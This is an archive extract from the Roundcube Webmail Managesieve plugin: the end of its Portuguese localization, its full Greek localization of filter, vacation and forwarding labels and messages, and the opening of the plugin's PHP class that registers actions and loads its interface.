$labels['flagflagged'] = 'Sinalizada';
$labels['flagdraft'] = 'Rascunho';
$labels['addheader'] = 'Adicionar cabeçalho à mensagem';
$labels['deleteheader'] = 'Remover cabeçalho da mensagem';
$labels['headername'] = 'Nome do cabeçalho';
$labels['headervalue'] = 'Valor do cabeçalho';
$labels['headerpos'] = 'Posição do cabeçalho';
$labels['headeratstart'] = 'no início';
$labels['headeratend'] = 'no fim';
$labels['headeroccurrence'] = 'Ocorrência/posição do cabeçalho';
$labels['headerfromstart'] = 'do início';
$labels['headerfromend'] = 'do fim';
$labels['headerpatterns'] = 'Padrões de valor de cabeçalho';
$labels['headermatchtype'] = 'tipo de correspondência:';
$labels['setvariable'] = 'Definir variável';
$labels['setvarname'] = 'Nome da variável:';
$labels['setvarvalue'] = 'Valor da variável:';
$labels['setvarmodifiers'] = 'Modificadores:';
$labels['varlower'] = 'minúscula';
$labels['varupper'] = 'maiúscula';
$labels['varlowerfirst'] = 'primeira letra em minúscula';
$labels['varupperfirst'] = 'primeira letra em maiúscula';
$labels['varquotewildcard'] = 'citar caracteres especiais';
$labels['varlength'] = 'tamanho';
$labels['varencodeurl'] = 'codificado por percentagem (para URLs)';
$labels['notify'] = 'Enviar notificação';
$labels['notifytarget'] = 'Destino da notificação:';
$labels['notifymessage'] = 'Mensagem de notificação (opcional):';
$labels['notifyoptions'] = 'Opções de notificação (opcional):';
$labels['notifyfrom'] = 'Remetente da notificação (opcional):';
$labels['notifyimportance'] = 'Importância:';
$labels['notifyimportancelow'] = 'baixa';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefone';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Criar filtro';
$labels['usedata'] = 'Usar os seguintes dados no filtro:';
$labels['nextstep'] = 'Passo seguinte';
$labels['...'] = '...';
$labels['string'] = 'Cadeia';
$labels['currdate'] = 'Data atual';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'cabeçalho:';
$labels['year'] = 'ano';
$labels['month'] = 'mês';
$labels['day'] = 'dia';
$labels['date'] = 'data (yyyy-mm-dd)';
$labels['julian'] = 'data (juliano)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fuso horário';
$labels['weekday'] = 'dia da semana (0-6)';
$labels['advancedopts'] = 'Opções avançadas';
$labels['body'] = 'Corpo';
$labels['address'] = 'endereço';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'Texto';
$labels['undecoded'] = 'não descodificado (raw)';
$labels['contenttype'] = 'tipo de conteúdo';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'todos';
$labels['domain'] = 'domínio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'utilizador';
$labels['detail'] = 'detalhe';
$labels['comparator'] = 'Comparador';
$labels['default'] = 'predefinido';
$labels['octet'] = 'estrito (octeto)';
$labels['asciicasemap'] = 'não sensível a maiúsculas/minúsculas (caracteres ascii)';
$labels['asciinumeric'] = 'numérico (numérico ascii)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'retroceder';
$labels['spamtest'] = 'Nível de spam';
$labels['spamtestisgreaterthan'] = 'é maior que';
$labels['spamtestisgreaterthanequal'] = 'é maior ou igual a';
$labels['spamtestislessthan'] = 'é menor que';
$labels['spamtestislessthanequal'] = 'é menor ou igual a';
$labels['spamtestequals'] = 'é igual a';
$labels['spamtestnotequals'] = 'é diferente de';
$labels['spamtestisunknown'] = 'é desconhecido';
$labels['vacation'] = 'Ausente do Escritório';
$labels['vacation.reply'] = 'Mensagem de resposta';
$labels['vacation.advanced'] = 'Definições avançadas';
$labels['vacation.from'] = 'Endereço de resposta do remetente';
$labels['vacation.subject'] = 'Assunto';
$labels['vacation.body'] = 'Corpo da mensagem';
$labels['vacation.start'] = 'Hora de início';
$labels['vacation.end'] = 'Hora de fim';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Ligar';
$labels['vacation.off'] = 'Desligar';
$labels['vacation.addresses'] = 'Os meus endereços de email';
$labels['vacation.interval'] = 'Intervalo de resposta';
$labels['vacation.after'] = 'Colocar a regra Ausente-do-Escritório depois';
$labels['vacation.saving'] = 'A guardar dados...';
$labels['vacation.action'] = 'Acção para mensagem recebida';
$labels['vacation.keep'] = 'Manter';
$labels['vacation.discard'] = 'Rejeitar';
$labels['vacation.redirect'] = 'Redireccionar para';
$labels['vacation.copy'] = 'Enviar cópia para';
$labels['forward'] = 'Reencaminhamento';
$labels['forward.redirect'] = 'Redireccionar para';
$labels['forward.copy'] = 'Enviar cópia para';
$labels['forward.on'] = 'Ligar';
$labels['forward.off'] = 'Desligar';
$labels['forward.status'] = 'Estado:';
$labels['forward.action'] = 'Executar a seguinte ação para os mails recebidos:';
$labels['forward.saving'] = 'A guardar dados...';
$labels['filladdresses'] = 'Preencher com todos os meus endereços';
$labels['arialabelfiltersetactions'] = 'Acções do conjunto de filtros';
$labels['arialabelfilteractions'] = 'Acções dos filtros';
$labels['arialabelfilterform'] = 'Propriedades dos filtro';
$labels['ariasummaryfilterslist'] = 'Lista de filtros';
$labels['ariasummaryfiltersetslist'] = 'Lista de conjuntos de filtros';
$labels['filterstitle'] = 'Editar filtros de mensagens recebidas';
$labels['vacationtitle'] = 'Editar regra de ausência do escritório';
$labels['forwardtitle'] = 'Editar regra de reencaminhamento de mail';
$labels['message'] = 'Mensagem';
$labels['duplicate'] = 'é duplicado';
$labels['notduplicate'] = 'não é duplicado';
$labels['duplicate.handle'] = 'identificador:';
$labels['duplicate.header'] = 'cabeçalho:';
$labels['duplicate.uniqueid'] = 'identificador:';
$labels['duplicate.seconds'] = 'tempo esgotado (segundos):';
$labels['duplicate.last'] = 'relativamente à última execução';
$messages['filterunknownerror'] = 'Erro de servidor desconhecido';
$messages['filterconnerror'] = 'Não é possível ligar ao servidor Sieve';
$messages['filterdeleteerror'] = 'Não foi possível eliminar o filtro.  Ocorreu um erro no servidor.';
$messages['filterdeleted'] = 'Filtro eliminado com sucesso';
$messages['filtersaved'] = 'Filtro guardado com sucesso';
$messages['filtersaveerror'] = 'Não foi possível guardar o filtro.  Ocorreu um erro no servidor.';
$messages['filterformerror'] = 'O formulário de filtro contém erros.';
$messages['filterdeleteconfirm'] = 'Tem a certeza que pretende eliminar este filtro?';
$messages['ruledeleteconfirm'] = 'Tem a certeza que pretende eliminar esta regra?';
$messages['actiondeleteconfirm'] = 'Tem a certeza que pretende eliminar esta acção?';
$messages['forbiddenchars'] = 'Caracteres inválidos no campo.';
$messages['cannotbeempty'] = 'Este campo não pode estar vazio.';
$messages['ruleexist'] = 'Já existe um Filtro com o nome especificado.';
$messages['setactivateerror'] = 'Não foi possível ativar o conjunto de filtros selecionado. Erro do servidor.';
$messages['setdeactivateerror'] = 'Não foi possível desativar o conjunto de filtros selecionado. Erro do servidor.';
$messages['setdeleteerror'] = 'Não foi possível eliminar o conjunto de filtros selecionado. Erro do servidor.';
$messages['setactivated'] = 'Conjunto de filtros ativado com sucesso.';
$messages['setdeactivated'] = 'Conjunto de filtros desativado com sucesso.';
$messages['setdeleted'] = 'Conjunto de filtros eliminado com sucesso.';
$messages['setupdated'] = 'Conjunto de filtros atualizado com sucesso.';
$messages['setdeleteconfirm'] = 'Tem a certeza que pretende eliminar o conjunto de filtros selecionado?';
$messages['setcreateerror'] = 'Não foi possível criar o conjunto de filtros selecionado. Erro do servidor.';
$messages['setcreated'] = 'Conjunto de filtros criado com sucesso.';
$messages['activateerror'] = 'Não foi possível ativar os filtros selecionados. Ocorreu um erro no servidor.';
$messages['deactivateerror'] = 'Não foi possível desativar os filtros selecionados. Ocorreu um erro no servidor.';
$messages['deactivated'] = 'Filtro(s) ativado(s) com sucesso.';
$messages['activated'] = 'Filtro(s) desativado(s) com sucesso.';
$messages['moved'] = 'Filtro movido com sucesso.';
$messages['moveerror'] = 'Não foi possível mover o filtro selecionado. Ocorreu um erro no servidor.';
$messages['nametoolong'] = 'Nome demasiado longo.';
$messages['namereserved'] = 'Nome invertido.';
$messages['setexist'] = 'O conjunto já existe.';
$messages['nodata'] = 'Deve selecionar pelo menos uma posição.';
$messages['invaliddateformat'] = 'Data ou formato de data inválido.';
$messages['saveerror'] = 'Não foi possível guardar os dados. Ocorreu um erro no servidor.';
$messages['vacationsaved'] = 'Regra Ausente-do-Escritório guardada com sucesso.';
$messages['forwardsaved'] = 'Dados de reencaminhamento guardados com sucesso.';
$messages['emptyvacationbody'] = 'É necessário o corpo da mensagem de férias!';
$messages['duplicate.conflict.err'] = 'Ambos, cabeçalho e identificador único, não são permitidos.';
$messages['disabledaction'] = 'Ação não permitida.';
$messages['lastindexempty'] = 'É necessário o índice quando se conta a partir do fim';
$messages['noflagset'] = 'Deve seleccionar pelo menos um sinalizador.';
PKh�\y�cޑO�O*plugins/managesieve/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Φίλτρα';
$labels['managefilters'] = 'Διαχείριση φίλτρων εισερχόμενων';
$labels['filtername'] = 'Ονομασία φίλτρου';
$labels['newfilter'] = 'Δημιουργία φίλτρου';
$labels['filteradd'] = 'Προσθήκη φίλτρου';
$labels['filterdel'] = 'Διαγραφή φίλτρου';
$labels['rules'] = 'Κανόνες';
$labels['actions'] = 'Ενέργειες';
$labels['scope'] = 'Εύρος';
$labels['moveup'] = 'Μετακίνηση πάνω';
$labels['movedown'] = 'Μετακίνηση κάτω';
$labels['filterallof'] = 'ταιριάζουν με όλους τους παρακάτω κανόνες';
$labels['filteranyof'] = 'ταιριάζουν με οποιονδήποτε από τους παρακάτω κανόνες';
$labels['filterany'] = 'όλα τα μηνύματα';
$labels['filtercontains'] = 'περιέχει';
$labels['filternotcontains'] = 'δεν περιέχει';
$labels['filteris'] = 'είναι ίσο με';
$labels['filterisnot'] = 'δεν είναι ίσο με';
$labels['filterexists'] = 'υπάρχει';
$labels['filternotexists'] = 'δεν υπάρχει';
$labels['filtermatches'] = 'ταιριάζει με την έκφραση ';
$labels['filternotmatches'] = 'Δεν ταιριάζει με την έκφραση';
$labels['filterregex'] = 'ταιριάζει με κανονική έκφραση';
$labels['filternotregex'] = 'δεν ταιριάζει με κανονική έκφραση';
$labels['filterunder'] = 'κάτω';
$labels['filterover'] = 'πάνω';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME part:';
$labels['mime-message'] = 'μήνυμα';
$labels['mime-anychild'] = 'όλα';
$labels['mime-type'] = 'τύπος';
$labels['mime-subtype'] = 'υποκατηγορία';
$labels['mime-contenttype'] = 'content-type';
$labels['mime-param'] = 'παράμετρος';
$labels['addrule'] = 'Προσθήκη κανόνα';
$labels['delrule'] = 'Διαγραφή κανόνα';
$labels['messagemoveto'] = 'Μετακίνηση μηνύματος στο';
$labels['messageredirect'] = 'Προώθηση μηνύματος στο';
$labels['messagecopyto'] = 'Αντιγραφη μυνηματος σε';
$labels['messagesendcopy'] = 'Αποστολη της αντιγραφης μυνηματος σε';
$labels['messagereply'] = 'Απάντηση με μήνυμα';
$labels['messagedelete'] = 'Διαγραφή μηνύματος';
$labels['messagediscard'] = 'Απόρριψη με μήνυμα';
$labels['messagekeep'] = 'Διατήρηση μηνύματος στα Εισερχόμενα';
$labels['messagesrules'] = 'Για εισερχόμενα μηνύματα που:';
$labels['messagesactions'] = '...εκτέλεση των παρακάτω ενεργειών:';
$labels['add'] = 'Προσθήκη';
$labels['del'] = 'Διαγραφή';
$labels['sender'] = 'Αποστολέας';
$labels['recipient'] = 'Παραλήπτης';
$labels['vacationaddr'] = 'Οι e-mail διευθύνσεις μου:';
$labels['vacationdays'] = 'Συχνότητα αποστολής μηνυμάτων (σε ημέρες):';
$labels['vacationinterval'] = 'Συχνότητα αποστολής μηνυμάτων:';
$labels['vacationreason'] = 'Σώμα μηνύματος (λόγος απουσίας):';
$labels['vacationfrom'] = 'Διεύθυνση απάντησης στον αποστολέα:';
$labels['vacationsubject'] = 'Θέμα μηνύματος: ';
$labels['days'] = 'ημέρες';
$labels['seconds'] = 'δευτερόλεπτα';
$labels['rulestop'] = 'Παύση επαλήθευσης κανόνων';
$labels['enable'] = 'Ενεργοποίηση/Απενεργοποίηση';
$labels['filterset'] = 'Σετ φίλτρων';
$labels['filtersets'] = 'Φίλτρο';
$labels['filtersetadd'] = 'Προσθήκη ομάδας φίλτρων';
$labels['filtersetdel'] = 'Διαγραφή ομάδας φίλτρων';
$labels['filtersetact'] = 'Ενεργοποίηση τρέχουσας ομάδας φίλτρων';
$labels['filtersetdeact'] = 'Απενεργοποίηση τρέχουσας ομάδας φίλτρων';
$labels['filterseteditraw'] = 'Επεξεργασία ομάδας φίλτρων';
$labels['filtersetswitch'] = '(Απ-)ενεργοποίηση ομάδας φίλτρων';
$labels['filterdef'] = 'Ορισμος φιλτρου';
$labels['filtersetname'] = 'Ονομασία ομάδας φίλτρων';
$labels['newfilterset'] = 'Νέα ομάδα φίλτρων';
$labels['active'] = 'ενεργο';
$labels['none'] = 'κανένα';
$labels['fromset'] = 'από το σύνολο ';
$labels['fromfile'] = 'απο αρχειο';
$labels['filterdisabled'] = 'Απενεργοποιημένο φίλτρο';
$labels['filterenabled'] = 'Ενεργό φίλτρο';
$labels['countisgreaterthan'] = 'αρίθμηση είναι μεγαλύτερη από';
$labels['countisgreaterthanequal'] = 'η μετρηση είναι μεγαλύτερη ή ίση προς';
$labels['countislessthan'] = 'η μετρηση είναι μικρότερη απο';
$labels['countislessthanequal'] = 'η μετρηση είναι μικρότερη ή ίση προς';
$labels['countequals'] = 'η μέτρηση είναι ίση προς ';
$labels['countnotequals'] = 'η μέτρηση δεν είναι ίση προς ';
$labels['valueisgreaterthan'] = 'η τιμη είναι μεγαλύτερη από';
$labels['valueisgreaterthanequal'] = 'η τιμη είναι μεγαλύτερη ή ίση προς';
$labels['valueislessthan'] = 'η τιμη είναι μικρότερη απο';
$labels['valueislessthanequal'] = 'η τιμη είναι μικρότερη ή ίση προς';
$labels['valueequals'] = 'η τιμη είναι ίση με';
$labels['valuenotequals'] = 'η τιμη δεν είναι ίση με';
$labels['setflags'] = 'Ορισμός σημαίων στο μήνυμα';
$labels['addflags'] = 'Προσθήκη σημαίων στο μήνυμα';
$labels['removeflags'] = 'Αφαιρέση σημαίων από το μήνυμα';
$labels['flagread'] = 'Αναγνωση';
$labels['flagdeleted'] = 'Διεγραμμένο';
$labels['flaganswered'] = 'Απαντήθηκε ';
$labels['flagflagged'] = 'Σημειωμένο';
$labels['flagdraft'] = 'Πρόχειρα';
$labels['addheader'] = 'Προσθήκη κεφαλίδας στο μήνυμα';
$labels['deleteheader'] = 'Αφαίρεση κεφαλίδας από το μήνυμα';
$labels['headername'] = 'Όνομα κεφαλίδας';
$labels['headervalue'] = 'Τιμή κεφαλίδας';
$labels['headerpos'] = 'Θέση κεφαλίδας';
$labels['headeratstart'] = 'στην αρχή';
$labels['headeratend'] = 'στο τέλος';
$labels['headeroccurrence'] = 'Εμφανίσεις/θέση της κεφαλίδας';
$labels['headerfromstart'] = 'από την αρχή';
$labels['headerfromend'] = 'από το τέλος';
$labels['headerpatterns'] = 'Μοτίβα τιμών κεφαλίδας';
$labels['headermatchtype'] = 'τύπος αντιστοιχίας:';
$labels['setvariable'] = 'Ορισμός μεταβλητής';
$labels['setvarname'] = 'Όνομα μεταβλητης:';
$labels['setvarvalue'] = 'Τιμη μεταβλητης:';
$labels['setvarmodifiers'] = 'Τροποποιητές: ';
$labels['varlower'] = 'Μικρογράμματη γραφή';
$labels['varupper'] = 'κεφαλαία γράμματα ';
$labels['varlowerfirst'] = 'πρώτος χαρακτήρας πεζός ';
$labels['varupperfirst'] = 'πρώτος χαρακτήρας κεφαλαία γράμματα';
$labels['varquotewildcard'] = 'παραθέση ειδικων χαρακτήρων';
$labels['varlength'] = 'Μήκος';
$labels['varencodeurl'] = 'τοις-εκατό κωδικοποίηση (για URL)';
$labels['notify'] = 'Αποστολή ειδοποίησης ';
$labels['notifytarget'] = 'Παραλήπτης ειδοποίησης:';
$labels['notifymessage'] = 'Μήνυμα ειδοποίησης (προαιρετικά):';
$labels['notifyoptions'] = 'Επιλογές ειδοποίησης (προαιρετικά):';
$labels['notifyfrom'] = 'Αποστολέας ειδοποίησης (προαιρετικά):';
$labels['notifyimportance'] = 'Σημασία: ';
$labels['notifyimportancelow'] = 'Χαμηλή';
$labels['notifyimportancenormal'] = 'Κανονική';
$labels['notifyimportancehigh'] = 'Υψηλή';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Τηλέφωνο';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Δημιουργία φίλτρου';
$labels['usedata'] = 'Χρησιμοποιηση ακολουθων δεδομενων στο φιλτρο:';
$labels['nextstep'] = 'Επομενο βημα';
$labels['...'] = '...';
$labels['string'] = 'Συμβολοσειρά';
$labels['currdate'] = 'Τρέχουσα ημερομηνία';
$labels['datetest'] = 'Ημερομηνία';
$labels['dateheader'] = 'επικεφαλίδα:';
$labels['year'] = 'χρονος';
$labels['month'] = 'μηνας';
$labels['day'] = 'ημερα';
$labels['date'] = 'ημερομηνία (yyyy-mm-dd)';
$labels['julian'] = 'ημερομηνία (Ιουλιανό ημ/γιο)';
$labels['hour'] = 'ωρα';
$labels['minute'] = 'λεπτο';
$labels['second'] = 'δευτερόλεπτο';
$labels['time'] = 'ωρα (hh:mm:ss)';
$labels['iso8601'] = 'ημερομηνία (ISO8601)';
$labels['std11'] = 'ημερομηνία (RFC2822)';
$labels['zone'] = 'Ζώνη Ώρας';
$labels['weekday'] = 'ημέρα της εβδομάδας (0-6)';
$labels['advancedopts'] = 'Προχωρημένες ρυθμίσεις';
$labels['body'] = 'Κείμενο';
$labels['address'] = 'Διεύθυνση';
$labels['envelope'] = 'φάκελος';
$labels['modifier'] = 'Τροποποιηση: ';
$labels['text'] = 'κειμενο';
$labels['undecoded'] = 'αποκωδικοποιημένο (raw)';
$labels['contenttype'] = 'Τύπος περιεχομένου ';
$labels['modtype'] = 'τυπος:';
$labels['allparts'] = 'Όλα';
$labels['domain'] = 'τομέας';
$labels['localpart'] = 'τοπικό τμήμα ';
$labels['user'] = 'χρηστης';
$labels['detail'] = 'λεπτομερειες';
$labels['comparator'] = 'σύγκριση:';
$labels['default'] = 'προεπιλογή';
$labels['octet'] = 'αυστηρή (οκτάδα) ';
$labels['asciicasemap'] = 'πεζά ή κεφαλαία (ascii-casemap)';
$labels['asciinumeric'] = 'αριθμητικό (ascii-αριθμητικο)';
$labels['index'] = 'ευρετήριο:';
$labels['indexlast'] = 'προς τα πίσω';
$labels['spamtest'] = 'Επίπεδο spam';
$labels['spamtestisgreaterthan'] = 'είναι μεγαλύτερο από';
$labels['spamtestisgreaterthanequal'] = 'είναι μεγαλύτερο ή μικρότερο από';
$labels['spamtestislessthan'] = 'είναι μικρότερο από';
$labels['spamtestislessthanequal'] = 'είναι μικρότερο ή μεγαλύτερο από';
$labels['spamtestequals'] = 'είναι ίσο με';
$labels['spamtestnotequals'] = 'δεν είναι ίσο με';
$labels['spamtestisunknown'] = 'είναι άγνωστο';
$labels['vacation'] = 'Εκτός γραφείου';
$labels['vacation.reply'] = 'Μήνυμα απάντησης';
$labels['vacation.advanced'] = 'Προηγμένες ρυθμίσεις';
$labels['vacation.from'] = 'Διεύθυνση απάντησης αποστολέα';
$labels['vacation.subject'] = 'Θέμα';
$labels['vacation.body'] = 'Σώμα';
$labels['vacation.start'] = 'Ώρα έναρξης';
$labels['vacation.end'] = 'Ώρα λήξης';
$labels['vacation.status'] = 'Κατάσταση';
$labels['vacation.on'] = 'Ενεργό';
$labels['vacation.off'] = 'Ανενεργό';
$labels['vacation.addresses'] = 'Οι e-mail διευθύνσεις μου';
$labels['vacation.interval'] = 'Διάστημα απάντησης';
$labels['vacation.after'] = 'Τοποθέτηση του κανόνα «εκτός-γραφείου» μετά από';
$labels['vacation.saving'] = 'Αποθήκευση δεδομένων...';
$labels['vacation.action'] = 'Ενέργεια εισερχόμενου μηνύματος';
$labels['vacation.keep'] = 'Διατήρηση';
$labels['vacation.discard'] = 'Διαγραφή';
$labels['vacation.redirect'] = 'Ανακατεύθυνση σε';
$labels['vacation.copy'] = 'Αποστολή αντιγράφου σε';
$labels['forward'] = 'Προώθηση';
$labels['forward.redirect'] = 'Ανακατεύθυνση σε';
$labels['forward.copy'] = 'Αποστολή αντιγράφου σε';
$labels['forward.on'] = 'Ενεργό';
$labels['forward.off'] = 'Ανενεργό';
$labels['forward.status'] = 'Κατάσταση:';
$labels['forward.action'] = 'Για τα εισερχόμενα μηνύματα να εκτελείται η ακόλουθη ενέργεια:';
$labels['forward.saving'] = 'Αποθήκευση δεδομένων...';
$labels['filladdresses'] = 'Συμπλήρωση με όλες τις email διευθύνσεις μου';
$labels['arialabelfiltersetactions'] = 'Ενέργειες ομάδας φίλτρων';
$labels['arialabelfilteractions'] = 'Ενέργειες φίλτρων';
$labels['arialabelfilterform'] = 'Ιδιότητες φίλτρων';
$labels['ariasummaryfilterslist'] = 'Λίστα φίλτρων';
$labels['ariasummaryfiltersetslist'] = 'Λίστα ομάδων φίλτρων';
$labels['filterstitle'] = 'Επεξεργασία φίλτρων εισερχόμενης αλληλογραφίας';
$labels['vacationtitle'] = 'Επεξεργασία κανόνα εκτός-γραφείου';
$labels['forwardtitle'] = 'Επεξεργασία κανόνα προώθησης';
$labels['message'] = 'Μήνυμα';
$labels['duplicate'] = 'είναι διπλότυπο';
$labels['notduplicate'] = 'δεν είναι διπλότυπο';
$labels['duplicate.handle'] = 'λαβή:';
$labels['duplicate.header'] = 'κεφαλίδα:';
$labels['duplicate.uniqueid'] = 'αναγνωριστικό:';
$labels['duplicate.seconds'] = 'λήξη χρόνου (δευτερόλεπτα):';
$labels['duplicate.last'] = 'σχετικό με την τελευταία εκτέλεση';
$messages['filterunknownerror'] = 'Άγνωστο σφάλμα διακομιστή';
$messages['filterconnerror'] = 'Αδυναμία σύνδεσης στον διακομιστή.';
$messages['filterdeleteerror'] = 'Αδυναμία διαγραφής φίλτρου. Προέκυψε σφάλμα στον διακομιστή.';
$messages['filterdeleted'] = 'Το φίλτρο διαγράφηκε επιτυχώς.';
$messages['filtersaved'] = 'Το φίλτρο αποθηκεύτηκε επιτυχώς.';
$messages['filtersaveerror'] = 'Αδυναμία αποθήκευσης φίλτρου. Προέκυψε σφάλμα στον διακομιστή.';
$messages['filterformerror'] = 'Η φόρμα των φίλτρων περιέχει σφάλματα.';
$messages['filterdeleteconfirm'] = 'Είστε σίγουροι ότι θέλετε να διαγράψετε το επιλεγμένο φίλτρο? ';
$messages['ruledeleteconfirm'] = 'Θέλετε όντως να διαγράψετε τον επιλεγμένο κανόνα;';
$messages['actiondeleteconfirm'] = 'Θέλετε όντως να διαγράψετε την επιλεγμένη ενέργεια;';
$messages['forbiddenchars'] = 'Μη επιτρεπτοί χαρακτήρες στο πεδίο.';
$messages['cannotbeempty'] = 'Το πεδίο δεν μπορεί να είναι κενό.';
$messages['ruleexist'] = 'Φιλτρο με αυτο το όνομα υπάρχει ήδη. ';
$messages['setactivateerror'] = 'Αδυναμία ενεργοποίησης της επιλεγμένης ομάδας φίλτρων. Προέκυψε σφάλμα στο διακομιστή.';
$messages['setdeactivateerror'] = 'Αδυναμία απενεργοποίησης της επιλεγμένης ομάδας φίλτρων. Προέκυψε σφάλμα στο διακομιστή.';
$messages['setdeleteerror'] = 'Αδυναμία διαγραφής της επιλεγμένης ομάδας φίλτρων. Προέκυψε σφάλμα στο διακομιστή.';
$messages['setactivated'] = 'Η ομάδα φίλτρων ενεργοποιήθηκε επιτυχώς.';
$messages['setdeactivated'] = 'Η ομάδα φίλτρων απενεργοποιήθηκε επιτυχώς.';
$messages['setdeleted'] = 'Η ομάδα φίλτρων διαγράφηκε επιτυχώς.';
$messages['setupdated'] = 'Η ομάδα φίλτρων ενημερώθηκε επιτυχώς.';
$messages['setdeleteconfirm'] = 'Θέλετε σίγουρα να διαγράψετε την επιλεγμένη ομάδα φίλτρων φίλτρων;';
$messages['setcreateerror'] = 'Αδυναμία δημιουργίας ομάδας φίλτρων. Προέκυψε σφάλμα στο διακομιστή.';
$messages['setcreated'] = 'Η ομάδα φίλτρων δημιουργήθηκε επιτυχώς.';
$messages['activateerror'] = 'Αδυναμία ενεργοποίησης επιλεγμένου φίλτρου(ων). Προέκυψε σφάλμα στον διακομιστή.';
$messages['deactivateerror'] = 'Αδυναμία απενεργοποίησης επιλεγμένου φίλτρου(ων). Προέκυψε σφάλμα στον διακομιστή.';
$messages['deactivated'] = 'Το φιλτρο(α) απενεργοποιηθηκαν επιτυχως.';
$messages['activated'] = 'Το φίλτρο(α) ενεργοποιηθηκαν επιτυχώς.';
$messages['moved'] = 'Το φίλτρο μετακινηθηκε επιτυχώς.';
$messages['moveerror'] = 'Αδυναμία μετακίνησης επιλεγμένου φίλτρου. Προέκυψε σφάλμα στον διακομιστή.';
$messages['nametoolong'] = 'Το όνομα είναι πολύ μεγάλο.';
$messages['namereserved'] = 'Δεσμευμένο όνομα. ';
$messages['setexist'] = 'Η ομάδα υπάρχει ήδη. ';
$messages['nodata'] = 'Πρέπει να επιλεγεί τουλάχιστον μία θέση!';
$messages['invaliddateformat'] = 'Μη έγκυρη ημερομηνία ή η ημερομηνία μορφής τμήμα';
$messages['saveerror'] = 'Αδύνατη η αποθήκευση δεδομένων. Προέκυψε σφάλμα στον διακομιστή';
$messages['vacationsaved'] = 'Τα δεδομένα «εκτός-γραφείου» αποθηκεύτηκαν επιτυχώς.';
$messages['forwardsaved'] = 'Τα δεδομένα προώθησης αποθηκεύτηκαν επιτυχώς';
$messages['emptyvacationbody'] = 'Απαιτείται κείμενο για το μήνυμα διακοπών!';
$messages['duplicate.conflict.err'] = 'Το μοναδικό αναγνωριστικό και το αναγνωριστικό κεφαλίδας δεν επιτρέπονται.';
$messages['disabledaction'] = 'Μη επιτρεπόμενη ενέργεια.';
$messages['lastindexempty'] = 'Ο δείκτης απαιτείται κατά την αρίθμηση από το τέλος';
$messages['noflagset'] = 'Πρέπει να επιλεγεί τουλάχιστον μία «σημαία»!';
PKh�\SU.v&'&'#plugins/managesieve/managesieve.phpnu�[���<?php

/**
 * Managesieve (Sieve Filters)
 *
 * Plugin that adds a possibility to manage Sieve filters in Thunderbird's style.
 * It's clickable interface which operates on text scripts and communicates
 * with server using managesieve protocol. Adds Filters tab in Settings.
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Configuration (see config.inc.php.dist)
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class managesieve extends rcube_plugin
{
    public $task = 'mail|settings';

    private $rc;
    private $engine;
    private $ui_initialized    = false;
    private $mail_headers_done = false;

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->rc = rcube::get_instance();

        $this->load_config();

        $allowed_hosts = $this->rc->config->get('managesieve_allowed_hosts');
        if (!empty($allowed_hosts) && !in_array($_SESSION['storage_host'], (array) $allowed_hosts)) {
            return;
        }

        // register actions
        $this->register_action('plugin.managesieve', [$this, 'managesieve_actions']);
        $this->register_action('plugin.managesieve-action', [$this, 'managesieve_actions']);
        $this->register_action('plugin.managesieve-vacation', [$this, 'managesieve_actions']);
        $this->register_action('plugin.managesieve-forward', [$this, 'managesieve_actions']);
        $this->register_action('plugin.managesieve-save', [$this, 'managesieve_save']);
        $this->register_action('plugin.managesieve-saveraw', [$this, 'managesieve_saveraw']);

        if ($this->rc->task == 'settings') {
            $this->add_hook('settings_actions', [$this, 'settings_actions']);
            $this->init_ui();
        }
        else if ($this->rc->task == 'mail') {
            // register message hook
            if ($this->rc->action == 'show') {
                $this->add_hook('message_headers_output', [$this, 'mail_headers']);
            }

            // inject Create Filter popup stuff
            if (empty($this->rc->action) || $this->rc->action == 'show'
                || strpos($this->rc->action, 'plugin.managesieve') === 0
            ) {
                $this->mail_task_handler();
            }
        }
    }

    /**
     * Initializes plugin's UI (localization, js script)
     */
    function init_ui()
    {
        if (!empty($this->ui_initialized)) {
            return;
        }

        // load localization
        $this->add_texts('localization/');

        $sieve_action = strpos($this->rc->action, 'plugin.managesieve') === 0;

        if ($this->rc->task == 'mail' || $sieve_action) {
            $this->include_script('managesieve.js');
        }

        // include styles
        $skin_path = $this->local_skin_path();
        if ($sieve_action || ($this->rc->task == 'settings' && empty($_REQUEST['_framed']))) {
            $this->include_stylesheet("$skin_path/managesieve.css");
        }
        else if ($this->rc->task == 'mail') {
            $this->include_stylesheet("$skin_path/managesieve_mail.css");
        }

        $this->ui_initialized = true;
    }

    /**
